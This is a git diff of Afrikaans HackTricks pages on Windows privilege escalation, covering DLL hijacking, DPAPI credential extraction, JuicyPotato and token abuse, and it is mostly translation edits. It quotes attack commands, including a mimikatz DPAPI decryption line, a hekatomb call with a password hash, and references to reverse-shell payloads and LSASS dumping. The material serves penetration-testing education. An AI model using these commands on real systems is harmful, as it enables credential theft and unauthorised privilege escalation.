@@ -120,7 +115,7 @@ Boonop kan jy in die **volgende afdeling** 'n paar **basiese dll kodes** vind wa
Basies is 'n **Dll proxy** 'n Dll wat in staat is om **jou kwaadwillige kode uit te voer wanneer dit gelaai word**, maar ook om te **bloot te stel** en **te werk** soos **verwag** deur **alle oproepe na die werklike biblioteek te relaye**.
-Met die gereedskap [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) of [**Spartacus**](https://github.com/Accenture/Spartacus) kan jy eintlik **'n uitvoerbare program aandui en die biblioteek kies** wat jy wil proxify en **'n proxified dll genereer** of **die Dll aandui** en **'n proxified dll genereer**.
+Met die gereedskap [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) of [**Spartacus**](https://github.com/Accenture/Spartacus) kan jy eintlik **'n uitvoerbare aandui en die biblioteek kies** wat jy wil proxify en **'n proxified dll genereer** of **die Dll aandui** en **'n proxified dll genereer**.
### **Meterpreter**
@@ -224,10 +219,5 @@ return TRUE;
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
-
-
-**Foutbounty wenk**: **meld aan** by **Intigriti**, 'n premium **foutbounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin verdien bounties tot **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
index cf5d35e34..478725d44 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@@ -4,11 +4,11 @@
## Introduction
-As jy gevind het dat jy **in 'n Stelselpaaie-gids kan skryf** (let daarop dat dit nie sal werk as jy in 'n Gebruikerspaaie-gids kan skryf nie), is dit moontlik dat jy **privileges kan eskaleer** in die stelsel.
+As jy gevind het dat jy kan **skryf in 'n Stelselpaaie-gids** (let daarop dat dit nie sal werk as jy in 'n Gebruikerspaaie-gids kan skryf nie) is dit moontlik dat jy **privileges kan eskaleer** in die stelsel.
-Om dit te doen, kan jy 'n **Dll Hijacking** misbruik waar jy 'n **biblioteek wat deur 'n diens of proses gelaai word, gaan oorneem** met **meer privileges** as joune, en omdat daardie diens 'n Dll laai wat waarskynlik glad nie in die hele stelsel bestaan nie, gaan dit probeer om dit van die Stelselpaaie te laai waar jy kan skryf.
+Om dit te doen kan jy 'n **Dll Hijacking** misbruik waar jy 'n **biblioteek wat deur 'n diens of proses gelaai word** gaan **hijack** met **meer privileges** as joune, en omdat daardie diens 'n Dll laai wat waarskynlik glad nie in die hele stelsel bestaan nie, gaan dit probeer om dit van die Stelselpaaie te laai waar jy kan skryf.
-Vir meer inligting oor **wat Dll Hijacking is**, kyk:
+Vir meer inligting oor **wat is Dll Hijacking** kyk:
{{#ref}}
./
@@ -20,9 +20,9 @@ Vir meer inligting oor **wat Dll Hijacking is**, kyk:
Die eerste ding wat jy nodig het, is om 'n **proses te identifiseer** wat met **meer privileges** as jy loop en wat probeer om 'n **Dll van die Stelselpaaie** te laai waarin jy kan skryf.
-Die probleem in hierdie gevalle is dat daardie prosesse waarskynlik reeds loop. Om te vind watter Dlls die dienste ontbreek, moet jy procmon so gou as moontlik begin (voordat prosesse gelaai word). So, om ontbrekende .dlls te vind, doen:
+Die probleem in hierdie gevalle is dat daardie prosesse waarskynlik reeds loop. Om te vind watter Dlls die dienste ontbreek, moet jy procmon so gou as moontlik begin (voor prosesse gelaai word). So, om ontbrekende .dlls te vind, doen:
-- **Skep** die gids `C:\privesc_hijacking` en voeg die pad `C:\privesc_hijacking` by die **Stelselpaaie omgewingsvariabele**. Jy kan dit **handmatig** doen of met **PS**:
+- **Skep** die gids `C:\privesc_hijacking` en voeg die pad `C:\privesc_hijacking` by die **Stelselpaaie omgewing veranderlike**. Jy kan dit **handmatig** doen of met **PS**:
```powershell
# Set the folder path to create and check events for
$folderPath = "C:\privesc_hijacking"
@@ -41,7 +41,7 @@ $newPath = "$envPath;$folderPath"
```
- Begin **`procmon`** en gaan na **`Options`** --> **`Enable boot logging`** en druk **`OK`** in die prompt.
- Dan, **herbegin**. Wanneer die rekenaar herbegin, sal **`procmon`** begin **gebeurtenisse opneem** so gou as moontlik.
-- Sodra **Windows** **begin** het, voer **`procmon`** weer uit, dit sal jou vertel dat dit aan die gang was en sal **vra of jy die** gebeurtenisse in 'n lêer wil stoor. Sê **ja** en **stoor die gebeurtenisse in 'n lêer**.
+- Sodra **Windows** **begin** het, voer **`procmon`** weer uit, dit sal jou vertel dat dit aan die gang was en sal **vraag of jy die** gebeurtenisse in 'n lêer wil stoor. Sê **ja** en **stoor die gebeurtenisse in 'n lêer**.
- **Nadat** die **lêer** **gegenereer** is, **sluit** die oop **`procmon`** venster en **open die gebeurtenis lêer**.
- Voeg hierdie **filters** by en jy sal al die Dlls vind wat 'n paar **proses probeer het om te laai** vanaf die skryfbare Stelselpaaie-gids:
@@ -67,11 +67,11 @@ Nadat ek dit gevind het, het ek hierdie interessante blogpos gevind wat ook verd
So, om **privileges te verhoog** gaan ons die biblioteek **WptsExtensions.dll** kaap. Met die **pad** en die **naam** moet ons net die **kwaadwillige dll** **genereer**.
-Jy kan [**enige van hierdie voorbeelde probeer**](./#creating-and-compiling-dlls). Jy kan payloads soos: kry 'n rev shell, voeg 'n gebruiker by, voer 'n beacon uit...
+Jy kan [**enige van hierdie voorbeelde probeer**](./#creating-and-compiling-dlls). Jy kan payloads soos: 'n rev shell kry, 'n gebruiker byvoeg, 'n beacon uitvoer...
> [!WARNING]
> Let daarop dat **nie al die dienste** met **`NT AUTHORITY\SYSTEM`** gedraai word nie, sommige word ook met **`NT AUTHORITY\LOCAL SERVICE`** gedraai wat **minder privileges** het en jy **sal nie in staat wees om 'n nuwe gebruiker te skep** om sy toestemmings te misbruik.\
-> Tog, daardie gebruiker het die **`seImpersonate`** privilege, so jy kan die [**potato suite gebruik om privileges te verhoog**](../roguepotato-and-printspoofer.md). So, in hierdie geval is 'n rev shell 'n beter opsie as om te probeer om 'n gebruiker te skep.
+> Tog, daardie gebruiker het die **`seImpersonate`** voorreg, so jy kan die [**potato suite gebruik om privileges te verhoog**](../roguepotato-and-printspoofer.md). So, in hierdie geval is 'n rev shell 'n beter opsie as om te probeer om 'n gebruiker te skep.
Op die oomblik van skryf word die **Taak Skedule** diens met **Nt AUTHORITY\SYSTEM** gedraai.
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
index bc3b65d4f..cdc83370e 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
@@ -8,12 +8,12 @@
Die Data Protection API (DPAPI) word hoofsaaklik binne die Windows-bedryfstelsel gebruik vir die **simmetriese kodering van simmetriese privaat sleutels**, wat óf gebruikers- óf stelselsêls as 'n belangrike bron van entropie benut. Hierdie benadering vereenvoudig kodering vir ontwikkelaars deur hulle in staat te stel om data te kodering met 'n sleutel wat afgelei is van die gebruiker se aanmeldsêls of, vir stelselkodering, die stelsel se domeinverifikasiesêls, wat die behoefte aan ontwikkelaars om die beskerming van die kodering sleutel self te bestuur, uitskakel.
-### Gekapteerde Data deur DPAPI
+### Beskermde Data deur DPAPI
Onder die persoonlike data wat deur DPAPI beskerm word, is:
- Internet Explorer en Google Chrome se wagwoorde en outo-voltooi data
-- E-pos en interne FTP rekening wagwoorde vir toepassings soos Outlook en Windows Mail
+- E-pos en interne FTP-rekening wagwoorde vir toepassings soos Outlook en Windows Mail
- Wagwoorde vir gedeelde vouers, hulpbronne, draadlose netwerke, en Windows Vault, insluitend kodering sleutels
- Wagwoorde vir afstandskantoorverbindinge, .NET Passport, en privaat sleutels vir verskeie kodering en verifikasie doeleindes
- Netwerk wagwoorde bestuur deur Credential Manager en persoonlike data in toepassings wat CryptProtectData gebruik, soos Skype, MSN messenger, en meer
@@ -45,13 +45,13 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe
[..]
```
-Jy kan die **mimikatz module** `dpapi::cred` met die toepaslike `/masterkey` gebruik om te ontsleutel:
+U kan die **mimikatz module** `dpapi::cred` met die toepaslike `/masterkey` gebruik om te ontsleutel:
```
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:
```
## Meester Sleutels
-Die DPAPI sleutels wat gebruik word om die gebruiker se RSA sleutels te enkripteer, word gestoor onder die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar {SID} die [**Sekuriteitsidentifiseerder**](https://en.wikipedia.org/wiki/Security_Identifier) **van daardie gebruiker** is. **Die DPAPI sleutel word in dieselfde lêer gestoor as die meester sleutel wat die gebruiker se privaat sleutels beskerm**. Dit is gewoonlik 64 bytes van ewekansige data. (Let daarop dat hierdie gids beskerm is, so jy kan dit nie lys met `dir` vanaf die cmd nie, maar jy kan dit lys vanaf PS).
+Die DPAPI sleutels wat gebruik word om die gebruiker se RSA sleutels te enkripteer, word gestoor onder die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar {SID} die [**Veiligheidsidentifiseerder**](https://en.wikipedia.org/wiki/Security_Identifier) **van daardie gebruiker** is. **Die DPAPI sleutel word in dieselfde lêer gestoor as die meester sleutel wat die gebruiker se private sleutels beskerm**. Dit is gewoonlik 64 bytes van ewekansige data. (Let daarop dat hierdie gids beskerm is, so jy kan dit nie lys met `dir` vanaf die cmd nie, maar jy kan dit lys vanaf PS).
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@@ -72,7 +72,7 @@ Kyk na die pos [https://www.ired.team/offensive-security/credential-access-and-c
## SharpDPAPI
-[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) is 'n C# port van sommige DPAPI funksionaliteit van [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) projek.
+[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) is 'n C# poort van sommige DPAPI funksionaliteit van [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) projek.
## HEKATOMB
@@ -80,7 +80,7 @@ Kyk na die pos [https://www.ired.team/offensive-security/credential-access-and-c
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
-Met die uitgetrekte LDAP rekenaars lys kan jy elke sub netwerk vind selfs al het jy nie van hulle geweet nie!
+Met die uitgetrekte rekenaarlys van LDAP kan jy elke subnetwerk vind selfs al het jy nie daarvan geweet nie!
"Want Domein Admin regte is nie genoeg nie. Hack hulle almal."
diff --git a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md b/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
index 36371321f..be8f14d40 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
@@ -3,12 +3,12 @@
**Kode vloei:**
1. Skep 'n nuwe Pyp
-2. Skep en begin 'n diens wat met die geskepte pyp sal verbind en iets sal skryf. Die dienskode sal hierdie geënkodeerde PS-kode uitvoer: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
+2. Skep en begin 'n diens wat met die geskepte pyp sal verbind en iets sal skryf. Die dienskode sal hierdie geënkodeerde PS kode uitvoer: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
3. Die diens ontvang die data van die kliënt in die pyp, roep ImpersonateNamedPipeClient aan en wag vir die diens om klaar te maak
4. Laastens, gebruik die token wat van die diens verkry is om 'n nuwe _cmd.exe_ te spawn
> [!WARNING]
-> As jy nie genoeg bevoegdhede het nie, kan die uitbuiting vasgevang word en nooit terugkeer nie.
+> As jy nie genoeg bevoegdhede het nie, kan die uitbuiting vasgevang word en nooit terugkeer.
```c
#include
#include
diff --git a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
index 3b0094101..8d1ece53c 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
@@ -37,7 +37,7 @@ NT AUTHORITY\INTERACTIVE:(I)(M,DC)
NT AUTHORITY\SERVICE:(I)(M,DC)
NT AUTHORITY\BATCH:(I)(M,DC)
```
-Nou, laat ons 'n minimum integriteitsvlak van **Hoog** aan die lêer toewys. Dit **moet gedoen word vanaf 'n konsole** wat as **administrateur** loop, aangesien 'n **gewone konsole** in Medium Integriteitsvlak sal loop en **nie toegelaat sal word** om 'n Hoog Integriteitsvlak aan 'n objek toe te wys:
+Nou, kom ons ken 'n minimum integriteitsvlak van **Hoog** aan die lêer toe. Dit **moet gedoen word vanaf 'n konsole** wat as **administrateur** loop, aangesien 'n **gewone konsole** in Medium Integriteitsvlak sal loop en **nie toegelaat sal word** om 'n Hoë Integriteitsvlak aan 'n objek toe te ken nie:
```
icacls asd.txt /setintegritylevel(oi)(ci) High
processed file: asd.txt
@@ -52,7 +52,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC)
NT AUTHORITY\BATCH:(I)(M,DC)
Mandatory Label\High Mandatory Level:(NW)
```
-Hierdie is waar dinge interessant raak. Jy kan sien dat die gebruiker `DESKTOP-IDJHTKP\user` **VOLLEDIGE regte** oor die lêer het (in werklikheid was dit die gebruiker wat die lêer geskep het), egter, as gevolg van die minimum integriteitsvlak wat geïmplementeer is, sal hy nie in staat wees om die lêer weer te wysig nie, tensy hy binne 'n Hoë Integriteitsvlak loop (let op dat hy dit sal kan lees):
+Hierdie is waar dinge interessant raak. Jy kan sien dat die gebruiker `DESKTOP-IDJHTKP\user` **VOLLEDIGE regte** oor die lêer het (werklik, dit was die gebruiker wat die lêer geskep het), egter, as gevolg van die minimum integriteitsvlak wat geïmplementeer is, sal hy nie in staat wees om die lêer weer te wysig nie, tensy hy binne 'n Hoë Integriteitsvlak loop (let op dat hy dit sal kan lees):
```
echo 1234 > asd.txt
Access is denied.
diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
index 6b064528d..6f81d82d7 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
@@ -11,7 +11,7 @@ roguepotato-and-printspoofer.md
## Juicy Potato (misbruik van die goue voorregte)
-_'n Gesuikerde weergawe van_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, met 'n bietjie sap, d.w.s. **nog 'n Plaaslike Voorreg Escalation hulpmiddel, van 'n Windows Diensrekening na NT AUTHORITY\SYSTEM**_
+_'n gesuikerde weergawe van_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, met 'n bietjie sap, d.w.s. **nog 'n Plaaslike Voorreg Escalation hulpmiddel, van 'n Windows Diensrekening na NT AUTHORITY\SYSTEM**_
#### Jy kan juicypotato aflaai van [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
@@ -69,11 +69,11 @@ Optional args:
```
### Finale gedagtes
-[**Uit juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
+[**Van juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
As die gebruiker `SeImpersonate` of `SeAssignPrimaryToken` regte het, dan is jy **SYSTEM**.
-Dit is byna onmoontlik om die misbruik van al hierdie COM Servers te voorkom. Jy kan oorweeg om die toestemmings van hierdie voorwerpe via `DCOMCNFG` te wysig, maar goeie geluk, dit gaan uitdagend wees.
+Dit is byna onmoontlik om die misbruik van al hierdie COM Servers te voorkom. Jy kan dink aan die aanpassing van die regte van hierdie voorwerpe via `DCOMCNFG`, maar goeie geluk, dit gaan uitdagend wees.
Die werklike oplossing is om sensitiewe rekeninge en toepassings wat onder die `* SERVICE` rekeninge loop, te beskerm. Om `DCOM` te stop, sal beslis hierdie uitbuiting beperk, maar kan 'n ernstige impak op die onderliggende OS hê.
@@ -81,7 +81,7 @@ Van: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## Voorbeelde
-Nota: Besoek [hierdie bladsy](https://ohpe.it/juicy-potato/CLSID/) vir 'n lys van CLSIDs om te probeer.
+Let op: Besoek [hierdie bladsy](https://ohpe.it/juicy-potato/CLSID/) vir 'n lys van CLSIDs om te probeer.
### Kry 'n nc.exe omgekeerde skulp
```
@@ -106,7 +106,7 @@ c:\Users\Public>
## CLSID Probleme
-Dikwels werk die standaard CLSID wat JuicyPotato gebruik **nie** en die exploit misluk. Gewoonlik neem dit verskeie pogings om 'n **werkende CLSID** te vind. Om 'n lys CLSIDs te kry om te probeer vir 'n spesifieke bedryfstelsel, moet jy hierdie bladsy besoek:
+Dikwels werk die standaard CLSID wat JuicyPotato gebruik **nie** en die exploit misluk. Gewoonlik neem dit verskeie pogings om 'n **werkende CLSID** te vind. Om 'n lys CLSIDs te kry om vir 'n spesifieke bedryfstelsel te probeer, moet jy hierdie bladsy besoek:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
index 8a1ac53dc..649fa9843 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
@@ -41,7 +41,7 @@ In [**hierdie uitstekende artikel**](http://dronesec.pw/blog/2019/08/22/exploiti
As 'n **unprivileged process 'n** **handvat** met **skryf** gelyke **toestemmings** oor 'n **bevoordeelde lêer of register** oorerf, sal dit in staat wees om die lêer/register te **oorskryf** (en met baie **geluk**, **privileges te verhoog**).
-**Afdeling Handvatsels** is soortgelyk aan lêer handvatsels, die algemene naam van hierdie soort [objekte is **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Hulle word gebruik om met **groot lêers te werk sonder om die hele** lêer in geheue te hou. Dit maak die uitbuiting soort van "soortgelyk" aan die uitbuiting van 'n Lêer Handvat.
+**Afdeling Handvatsels** is soortgelyk aan lêer handvatsels, die algemene naam van hierdie soort [objekte is **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Hulle word gebruik om met **groot lêers te werk sonder om die hele** lêer in geheue te hou. Dit maak die benutting soort van "soortgelyk" aan die benutting van 'n Lêer Handvat.
## Hoe om handvatsels van prosesse te sien
@@ -49,7 +49,7 @@ As 'n **unprivileged process 'n** **handvat** met **skryf** gelyke **toestemming
[**Process Hacker**](https://github.com/processhacker/processhacker) is 'n hulpmiddel wat jy gratis kan aflaai. Dit het verskeie wonderlike opsies om prosesse te inspekteer en een daarvan is die **vermoë om die handvatsels van elke proses te sien**.
-Let daarop dat om **alle handvatsels van al die prosesse te sien, die SeDebugPrivilege benodig word** (so jy moet Process Hacker as administrateur uitvoer).
+Let daarop dat om **al die handvatsels van al die prosesse te sien, die SeDebugPrivilege benodig word** (so jy moet Process Hacker as administrateur uitvoer).
Om die handvatsels van 'n proses te sien, regsklik op die proses en kies Handvatsels:
@@ -61,7 +61,7 @@ Jy kan dan regsklik op die handvat en **die toestemmings nagaan**:
### Sysinternals Handvatsels
-Die [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle) binêre van Sysinternals sal ook die handvatsels per proses in die konsole lys:
+Die [**Handvatsels**](https://docs.microsoft.com/en-us/sysinternals/downloads/handle) binêre van Sysinternals sal ook die handvatsels per proses in die konsole lys:
.png>)
@@ -84,7 +84,7 @@ Nou dat jy weet hoe om handvatsels van prosesse te vind, wat jy moet nagaan is o
Byvoorbeeld, die volgende kode behoort aan 'n **Windows diens** wat kwesbaar sou wees. Die kwesbare kode van hierdie diens binêre is geleë binne die **`Exploit`** funksie. Hierdie funksie begin **'n nuwe handvat proses met volledige toegang te skep**. Dan, dit **skep 'n lae bevoordeelde proses** (deur die lae bevoordeelde token van _explorer.exe_ te kopieer) wat _C:\users\username\desktop\client.exe_ uitvoer. Die **kwesbaarheid bestaan in die feit dat dit die lae bevoordeelde proses met `bInheritHandles` as `TRUE` skep**.
-Daarom is hierdie lae bevoordeelde proses in staat om die handvat van die hoë bevoordeelde proses wat eerste geskep is te gryp en 'n shellcode in te spuit en uit te voer (sien volgende afdeling).
+Daarom is hierdie lae bevoordeelde proses in staat om die handvat van die hoog bevoordeelde proses wat eerste geskep is te gryp en 'n shellcode in te spuit en uit te voer (sien volgende afdeling).
```c
#include
#include
diff --git a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
index e00a4048d..a0d211bc9 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
@@ -2,8 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
-Laai die gratis weergawe van die toepassing af van [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/), voer dit uit en verpak die "kwaadwillige" binêre daarin.\
-Let daarop dat jy 'n "**.bat**" kan verpak as jy **net** wil **uitvoer** **opdraglyne (in plaas van cmd.exe, kies die .bat-lêer)**
+Laai die gratis weergawe van die toepassing af van [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/), voer dit uit en wrap die "kwaadwillige" binêre daarop.\
+Let daarop dat jy 'n "**.bat**" kan wrap as jy **net** wil **uitvoer** **opdraglyne (in plaas van cmd.exe, kies die .bat-lêer)**
.png>)
@@ -17,6 +17,6 @@ En dit is die belangrikste deel van die konfigurasie:
(Neem asseblief kennis dat as jy probeer om jou eie binêre te pak, jy in staat sal wees om hierdie waardes te wysig)
-Van hier af klik net op **volgende knoppies** en die laaste **bou knoppie en jou installeerder/verpakker sal gegenereer word.**
+Van hier af klik net op **volgende knoppies** en die laaste **bou knoppie en jou installeerder/wrapper sal gegenereer word.**
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
index e83e1cb63..d2d1a5f80 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
@@ -1,6 +1,6 @@
-# Genoemde Pyp Klient Imersie
+# Naam Pyp Kliënt Imersie
-## Genoemde Pyp Klient Imersie
+## Naam Pyp Kliënt Imersie
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
index b4bbb60f0..c01e0aefc 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
@@ -36,7 +36,7 @@ As jy hierdie token geaktiveer het, kan jy **KERB_S4U_LOGON** gebruik om 'n **im
### SeBackupPrivilege
-Die stelsel word veroorsaak om **alle lees toegang** beheer aan enige lêer te verleen (beperk tot leesoperasies) deur hierdie bevoegdheid. Dit word gebruik vir **die lees van die wagwoord hashes van plaaslike Administrateur** rekeninge uit die register, waarna gereedskap soos "**psexec**" of "**wmiexec**" met die hash gebruik kan word (Pass-the-Hash tegniek). Hierdie tegniek faal egter onder twee toestande: wanneer die Plaaslike Administrateur rekening gedeaktiveer is, of wanneer 'n beleid in plek is wat administratiewe regte van Plaaslike Administrateurs wat afstand doen, verwyder.\
+Die stelsel word veroorsaak om **alle lees toegang** beheer aan enige lêer te verleen (beperk tot leesoperasies) deur hierdie bevoegdheid. Dit word gebruik vir **die lees van die wagwoord hashes van plaaslike Administrateur** rekeninge uit die register, waarna gereedskap soos "**psexec**" of "**wmiexec**" met die hash (Pass-the-Hash tegniek) gebruik kan word. Hierdie tegniek misluk egter onder twee toestande: wanneer die Plaaslike Administrateur rekening gedeaktiveer is, of wanneer 'n beleid in plek is wat administratiewe regte van Plaaslike Administrateurs wat afstand doen, verwyder.\
Jy kan **hierdie bevoegdheid misbruik** met:
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
@@ -75,7 +75,7 @@ Hierdie pad is `\Registry\User\\System\CurrentControlSet\Services\DriverNam
1. Toegang `HKCU` eerder as `HKLM` weens beperkte skrywe toegang.
2. Skep die pad `\Registry\User\\System\CurrentControlSet\Services\DriverName` binne `HKCU`, waar `` die huidige gebruiker se Relatiewe Identifiseerder verteenwoordig.
-3. Stel die `ImagePath` na die binaire se uitvoerpad.
+3. Stel die `ImagePath` na die binaire uitvoer pad.
4. Ken die `Type` as `SERVICE_KERNEL_DRIVER` (`0x00000001`) toe.
```python
# Example Python code to set the registry values
@@ -114,7 +114,7 @@ Hierdie voorreg stel die **debug ander prosesse** in staat, insluitend om in die
#### Dump geheue
-Jy kan [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) van die [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) gebruik om die **geheue van 'n proses** te **vang**. Spesifiek kan dit van toepassing wees op die **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** proses, wat verantwoordelik is vir die stoor van gebruikersakkrediteer nadat 'n gebruiker suksesvol in 'n stelsel aangemeld het.
+Jy kan [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) van die [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) gebruik om die **geheue van 'n proses** te **vang**. Spesifiek kan dit van toepassing wees op die **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** proses, wat verantwoordelik is vir die stoor van gebruikersbewyse sodra 'n gebruiker suksesvol in 'n stelsel aangemeld het.
Jy kan dan hierdie dump in mimikatz laai om wagwoorde te verkry:
```
@@ -155,11 +155,11 @@ Volledige token bevoegdhede cheatsheet by [https://github.com/gtworek/Priv2Admin
| Bevoegdheid | Impak | Gereedskap | Uitvoeringspad | Opmerkings |
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| **`SeAssignPrimaryToken`** | _**Admin**_ | 3de party gereedskap | _"Dit sal 'n gebruiker toelaat om tokens na te boots en privesc na nt stelsel te gebruik met gereedskap soos potato.exe, rottenpotato.exe en juicypotato.exe"_ | Dankie [Aurélien Chalot](https://twitter.com/Defte_) vir die opdatering. Ek sal probeer om dit binnekort in iets meer resep-agtig te herformuleer. |
+| **`SeAssignPrimaryToken`** | _**Admin**_ | 3de party gereedskap | _"Dit sal 'n gebruiker toelaat om tokens na te boots en privesc na nt stelsel te gebruik met gereedskap soos potato.exe, rottenpotato.exe en juicypotato.exe"_ | Dankie [Aurélien Chalot](https://twitter.com/Defte_) vir die opdatering. Ek sal probeer om dit binnekort in iets meer resep-agtig te herformuleer. |
| **`SeBackup`** | **Dreig** | _**Ingeboude opdragte**_ | Lees sensitiewe lêers met `robocopy /b` |
- Mag meer interessant wees as jy %WINDIR%\MEMORY.DMP kan lees
- SeBackupPrivilege (en robocopy) is nie nuttig wanneer dit kom by oop lêers nie.
- Robocopy vereis beide SeBackup en SeRestore om met /b parameter te werk.
|
| **`SeCreateToken`** | _**Admin**_ | 3de party gereedskap | Skep arbitrêre token insluitend plaaslike admin regte met `NtCreateToken`. | |
| **`SeDebug`** | _**Admin**_ | **PowerShell** | Dubbel die `lsass.exe` token. | Skrip om te vind by [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
-| **`SeLoadDriver`** | _**Admin**_ | 3de party gereedskap |
1. Laai foutiewe kern bestuurder soos szkg64.sys 2. Benut die bestuurder kwesbaarheid
